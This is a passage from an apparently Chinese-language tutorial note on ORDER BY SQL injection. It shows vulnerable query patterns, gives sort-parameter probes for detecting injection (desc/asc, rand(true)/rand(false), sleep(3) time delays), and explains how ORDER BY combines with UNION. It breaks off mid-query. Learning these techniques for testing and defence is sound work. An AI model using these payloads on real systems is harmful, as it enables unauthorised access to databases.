order by 注入
背景
1.数字型 order by 注入sql语句
select * from users order by $id
2.字符型 order by 注入sql语句
select * from users order by '$id'
数字型 order by 注入 判断语句:
用排序的方式判断,两者返回排序不同
?sort=1 desc
?sort=1 asc
用随机数的方式判断,两者返回排序不同
?sort=rand(true)
?sort=rand(false)
用延时的方式验证
?sort=sleep(3) //等待3*行数秒才会显示结果
order by 与 union 一起使用的方法
(0)注意union在没有括号的情况下只能使用一个 order by,如果直接运行如下语句,会报错
select * from u1 order by score asc union select * from u2 order by score asc
(1)方法一:去掉前一个select语句的 order by,意思是先union再对整个结果集order by
select * from u1 union select * from u2 order by score asc
(2)方法二:通过两个查询分别加括号的方式,注意 order by 不能出现在union的子句中,但可以出现在子句的子句中。意思是先让两个结果集分别order by,然后对结果集进行union
select * from
(select * from u1 order by score asc)u3
union
select * from
(select * from u2